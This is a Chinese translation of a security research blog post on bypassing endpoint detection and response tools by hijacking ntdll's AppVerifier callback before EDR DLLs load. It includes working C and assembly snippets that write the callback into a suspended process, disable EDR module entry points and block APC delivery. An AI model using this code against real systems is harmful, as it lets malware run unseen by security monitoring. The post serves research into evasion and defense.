利用EDR预加载绕过终端检测与响应

本文详细阐述了一种名为“EDR预加载”的高级绕过技术,通过在EDR用户态组件加载前执行恶意代码,从而彻底阻止其运行。文章深入分析了Windows进程加载机制,并提供了利用AppVerifier回调的具体实现方法。

利用EDR预加载绕过终端检测与响应

Marcus Hutchins

此前,我写过一篇文章,详细介绍了如何利用系统调用来绕过用户模式下的EDR钩子。 现在,我想介绍另一种技术——“EDR预加载”,该技术涉及在EDR的DLL加载到进程之前运行恶意代码,从而能够完全阻止其运行。 通过使EDR模块失效,我们可以自由地调用函数,而无需担心用户模式钩子,因此不需要依赖直接或间接的系统调用。

这项技术利用了EDR加载其用户态组件方式中的一些假设和缺陷。 EDR需要将其DLL注入到每个进程中,以便钩住用户模式函数,但如果DLL运行得过早,进程会崩溃;运行得过晚,进程可能已经执行了恶意代码。 大多数EDR选择的“甜蜜点”是尽可能晚地启动其DLL,但仍在进程入口点被调用之前完成它们所需的一切。 理论上,我们只需要找到一种在进程初始化阶段更早一点加载代码的方法,就能先发制人地阻止EDR。

Windows进程加载器快速概述

要理解EDR DLL何时可以加载和不能加载,我们需要了解一下进程初始化。 每当创建新进程时,内核会将目标可执行文件的映像以及ntdll.dll映射到内存中。 然后创建一个线程,该线程最终将作为入口点线程。 此时,进程只是一个空壳(PEB、TEB和导入项均未初始化)。在调用进程入口点之前,必须执行相当多的设置工作。

每当新线程启动时,其起始地址将被设置为ntdll!LdrInitializeThunk(),该函数负责调用ntdll!LdrpInitialize()ntdll!LdrpInitialize()有两个目的:

  1. 初始化进程(如果尚未初始化)
  2. 初始化线程

ntdll!LdrpInitialize()首先检查全局变量ntdll!LdrpProcessInitialized,如果该变量设置为FALSE,则会在线程初始化之前调用ntdll!LdrpInitializeProcess()ntdll!LdrpInitializeProcess()顾名思义。它会设置PEB、解析进程的导入项并加载任何所需的DLL。 在ntdll!LdrpInitialize()的最后,有一个对ntdll!ZwTestAlert()的调用,该函数用于运行当前线程APC队列中的所有异步过程调用(APC)。 通过ntoskrnl!NtQueueApcThread()向目标进程注入代码的EDR驱动程序将在此处看到它们的代码被执行。

一旦线程和进程初始化完成,ntdll!LdrpInitialize()返回,ntdll!LdrInitializeThunk()将调用ntdll!ZwContinue(),将执行权交还给内核。 然后,内核会将线程指令指针设置为指向ntdll!RtlUserThreadStart(),该函数将调用可执行文件的入口点,进程的生命周期正式开始。

[此处应为进程初始化流程图]

较旧的绕过技术及其缺点

早期APC排队 由于APC按先进先出的顺序执行,有时可以通过先排队自己的APC来抢占某些EDR。 许多EDR通过使用ntoskrnl!PsSetLoadImageNotifyRoutine()注册内核回调来监控新进程。 每当新进程启动时,它会自动加载ntdll.dll和kernel32.dll,因此这是检测新进程何时初始化的好方法。 通过以挂起状态启动进程,可以在初始化之前排队一个APC,从而排在队列的最前面。 这种技术有时被称为“Early Bird注入”。

排队APC的问题在于它们长期以来一直用于代码注入,因此大多数EDR都钩住并监控了ntdll!NtQueueApcThread()。 向挂起的进程排队APC是高度可疑的行为,并且也有据可查。EDR也有可能钩住你的APC、重新排列APC队列或采取任何其他措施来确保其DLL首先运行。

TLS回调 TLS回调在ntdll!LdrpInitializeProcess()的末尾执行,但在ntdll!ZwTestAlert()之前,因此,在任何APC之前运行。 在某些应用程序使用TLS回调的情况下,一些EDR可能会注入代码来拦截回调,或者稍微提前加载EDR DLL以进行补偿。 令我惊讶的是,我测试过的一个EDR仍然可以使用TLS回调绕过。

寻找新方法

我的目标很简单,但实际上一点也不简单,而且非常耗时。 我想找到一种方法,在入口点之前、TLS回调之前、在所有可能干扰我代码的东西之前执行代码。 这意味着我需要逆向整个进程和DLL加载器,以寻找任何可以利用的东西。最终,我找到了我需要的。

请看,AppVerifier和ShimEngine接口 很久以前,微软创建了一个名为AppVerifier的工具,用于应用程序验证。 它旨在运行时监控应用程序的bug、兼容性问题等。 AppVerifier的大部分功能是通过在ntdll中添加大量新回调来促成的。 在逆向AppVerifier层时,我实际上发现了两组有用的回调(AppVerifier和ShimEngine)。

[此处应为Shim Engine相关变量截图] [此处应为App Verifier相关变量截图]

有两个指针引起了我的注意:ntdll!g_pfnSE_GetProcAddressForCallerntdll!AvrfpAPILookupCallbackRoutine,分别属于ShimEngine和AppVerifier层。 这两个指针都在ntdll!LdrGetProcedureAddressForCaller()的末尾被调用,该函数是GetProcAddress()内部用于解析导出函数地址的函数。

[此处应为LdrGetProcedureAddressForCaller()中实现回调的代码截图]

这些回调非常完美,因为当LdrpInitializeProcess()加载kernelbase.dll时,它一定会调用LdrGetProcedureAddress()。 每次任何东西尝试通过GetProcAddress()/LdrGetProcedureAddress()解析导出时,包括EDR,也会调用它,这有很多有趣的可能性。 更好的是,这些指针存在于一个在进程初始化之前可写入的内存区域中。

决定钩住哪个回调 虽然有很多不错的选择,但我决定选择AvrfpAPILookupCallbackRoutine,它似乎是在Windows 8.1中引入的。 虽然为了与早期Windows版本兼容,我可以使用更旧的回调,但这需要更多的工作,而我想保持我的PoC简单。 AppVerifer接口的其余部分要求你安装一个“验证器提供程序”,这需要大量的内存操作。 ShimEngine稍微容易一些,但将g_ShimsEnabled设置为TRUE会启用所有回调,而不仅仅是我们想要的那一个,因此我们必须注册每个回调,否则应用程序会崩溃。

较新的AvrfpAPILookupCallbackRoutine非常方便,原因有二:

  1. 它可以通过设置ntdll!AvrfpAPILookupCallbacksEnabled独立于AppVerifier接口启用,因此不需要AppVerifier提供程序。
  2. ntdll!AvrfpAPILookupCallbacksEnabledntdll!AvrfpAPILookupCallbackRoutine在内存中很容易定位,尤其是在Windows 10上。

介绍EDR预加载器

为了演示,我决定构建一个概念验证,利用AvrfpAPILookupCallbackRoutine回调在EDR DLL加载之前加载,然后阻止其加载。 目前,我只在两个主要的EDR上测试过,但理论上只需稍作调整,它就可以对抗任何EDR代码注入。 你可以在文章底部找到完整的源代码。

步骤1:定位AppVerifier回调指针 为了设置回调,我们需要设置ntdll!AvrfpAPILookupCallbacksEnabledntdll!AvrfpAPILookupCallbackRoutine。 在Windows 10上,这两个变量都位于ntdll的.mrdata节的开头附近,该节在进程初始化期间是可写的。 ntdll!AvrfpAPILookupCallbacksEnabled直接在ntdll!LdrpMrdataBase之后找到(尽管有时ntdll!LdrpKnownDllDirectoryHandle会出现在它前面)。 这两个变量似乎总是相隔正好8个字节,并且顺序相同。 在初始化的进程中,布局应该如下所示: offset+0x00 - ntdll!LdrpMrdataBase(设置为.mrdata节的基地址) offset+0x08 - ntdll!LdrpKnownDllDirectoryHandle(设置为非零值) offset+0x10 - ntdll!AvrfpAPILookupCallbacksEnabled(设置为零) offset+0x18 - ntdll!AvrfpAPILookupCallbackRoutine(设置为零)

我们可以在自己的进程中扫描.mrdata节,寻找一个包含节基地址的指针,然后它后面的第一个NULL值就是AvrfpAPILookupCallbackRoutine

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ULONG_PTR find_avrfp_address(ULONG_PTR mrdata_base) {
    ULONG_PTR address_ptr = mrdata_base + 0x280;  //我们想要的指针在.mrdata节偏移0x280+的位置
    ULONG_PTR ldrp_mrdata_base = NULL;

    for (int i = 0; i < 10; i++) {
        if (*(ULONG_PTR*)address_ptr == mrdata_base) {
            ldrp_mrdata_base = address_ptr;
            break;
        }
        address_ptr += sizeof(LPVOID);  // 跳到下一个指针
    }
    
    address_ptr = ldrp_mrdata_base;
    
    // AvrfpAPILookupCallbackRoutine应该是LdrpMrdataBase之后的第一个NULL指针
    for (int i = 0; i < 10; i++) {
        if (*(ULONG_PTR*)address_ptr == NULL) {
            return address_ptr;
        }
        address_ptr += sizeof(LPVOID);  // 跳到下一个指针
    }
    return NULL;
}

步骤2:设置回调以调用我们的恶意代码 设置回调最简单的方法是,以挂起状态启动我们自己进程的第二个副本。 由于ntdll在每个进程中的地址都相同,我们只需要在自己进程中定位回调指针。 一旦我们的进程以挂起状态启动,我们就可以直接使用WriteProcessMemory()来设置指针。 我们也可以将此技术用于进程空洞化、shellcode注入等,因为它允许我们在不创建/劫持线程或排队APC的情况下执行代码。但对于这个PoC,我们将保持简单。

注意:由于许多ntdll指针是加密的,我们不能简单地将指针设置为我们目标地址。我们必须先加密它。 幸运的是,密钥是相同的值,并且存储在所有进程中的相同位置。

1
2
3
4
5
6
7
LPVOID encode_system_ptr(LPVOID ptr) {
    // 从SharedUserData!Cookie (0x330)获取指针cookie
    ULONG cookie = *(ULONG*)0x7FFE0330;

    // 加密我们的指针,以便写入ntdll时能正常工作
    return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}

现在我们可以使用WriteProcessMemory()写入指针并将AvrfpAPILookupCallbacksEnabled设置为1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    // ntdll指针使用位于SharedUserData!Cookie的系统指针cookie进行编码
    LPVOID callback_ptr = encode_system_ptr(&My_LdrGetProcedureAddressCallback);

    // 设置 ntdll!AvrfpAPILookupCallbacksEnabled 为 TRUE
    uint8_t bool_true = 1;

    // 设置 ntdll!AvrfpAPILookupCallbackRoutine 为我们编码后的回调地址
    if (!WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address+8), &callback_ptr, sizeof(ULONG_PTR), NULL)) {
        printf("Write 2 failed, error: %d\n", GetLastError());
    }

    if (!WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL)) {
        printf("Write 3 failed, error: %d\n", GetLastError());
    }

步骤3:执行回调并中和EDR 一旦我们在挂起的进程上调用ResumeThread(),每次调用LdrpGetProcedureAddress()时,我们的回调都会被执行,第一次应该是在LdrpInitializeProcess()加载kernelbase.dll时。

[此处应为LdrpInitializeProcess调用LdrLoadDll加载kernelbase.dll的截图]

请注意:当我们的回调触发时,kernelbase.dll尚未完全加载,并且触发器发生在LdrLoadDll内部,因此加载器锁仍然被持有。 Kernelbase尚未加载意味着我们只能调用ntdll函数,而加载器锁阻止我们启动任何线程或进程,以及加载DLL。 由于我们在能做什么方面受到高度限制,最简单的做法就是阻止EDR DLL加载,然后等待进程完全初始化后再开始“恶意软件派对”。

为了确保我测试的EDR被正确中和,我采取了多管齐下的方法。

DLL破坏 在这个早期的进程生命周期中,只应该加载ntdll.dll、kernel32.dll和kernelbase.dll。 一些EDR可能会预先将其DLL映射到内存中,但等到稍后再调用入口点。 虽然我们可能可以在加载器锁释放后通过调用ntdll!LdrUnloadDll()(或手动操作)来卸载这些DLL,但一个快速且粗略的解决方案是直接破坏它们的入口点。 我们要做的是遍历LDR模块列表,然后替换掉任何不应该在那里的DLL的入口点地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
DWORD EdrParadise() {
    // 我们将用这个同样“有用”的函数替换EDR的入口点
    // todo:阻止恶意软件

    return ERROR_TOO_MANY_SECRETS;
}

void DisablePreloadedEdrModules() {
    PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    LIST_ENTRY* list_head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* list_entry = list_head->Flink->Flink;

    while (list_entry != list_head) {
        PLDR_DATA_TABLE_ENTRY2 module_entry = CONTAINING_RECORD(list_entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks);

        // 只有下面的DLL应该这么早加载,其他任何东西都可能是安全产品
        if (SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"ntdll.dll") != 0 &&
            SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernel32.dll") != 0 &&
            SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernelbase.dll") != 0) {

            module_entry->EntryPoint = &EdrParadise;
        }

        list_entry = list_entry->Flink;
    }
}

禁用APC分发器 当APC排队到一个线程时,它们由ntdll!KiUserApcDispatcher()处理,该函数运行APC然后调用ntdll!NtContinue()将线程返回到其原始上下文。 通过钩住KiUserApcDispatcher并用我们自己的函数替换它(该函数只是循环调用NtContinue()),任何APC都不能再排队到我们的进程中(包括来自EDR内核驱动程序的APC)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
; 一个除了分发APC之外什么都做的简单APC分发器
KiUserApcDispatcher PROC
  _loop:
    call GetNtContinue
    mov rcx, rsp
    mov rdx, 1
    call rax
    jmp _loop
  ret
KiUserApcDispatcher ENDP

代理LdrLoadDll调用 通过在ntdll!LdrLoadDll()上放置钩子,我们可以监控哪些DLL正在被加载。 如果任何EDR尝试使用LdrLoadDll加载其DLL,我们可以卸载或禁用它。 理想情况下,我们可能想要钩住ntdll!LdrpLoadDll(),它级别更低,并且直接被一些EDR调用,但为简单起见,我们将只使用LdrLoadDll

1
2
3
4
5
6
7
// 我们可以使用这个钩子来防止加载新模块(尽管在我测试的两个EDR中,我们不需要这样做)
NTSTATUS WINAPI LdrLoadDllHook(PWSTR search_path, PULONG dll_characteristics, UNICODE_STRING* dll_name, PVOID* base_address) {
    
    //todo: 创建允许或禁止的DLL列表
    
    return OriginalLdrLoadDll(search_path, dll_characteristics, dll_name, base_address);
}

最后思考

虽然这个PoC仅针对Windows 10 64位设计,但该技术至少在Windows 7及更早的系统上应该是可行的(我还没有检查XP或Vista)。 然而,在低于Windows 10的系统上,找到正确的偏移量更加困难。对于更稳健的方法,我建议使用反汇编器。 无论如何,这是一个相当有趣的周末项目,希望有人能从中学习到一些东西。

如果你喜欢我的工作,请在LinkedIn和Mastodon上关注我,了解更多。 你可以在以下位置找到完整的源代码:github.com/MalwareTech/EDR-Preloader

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计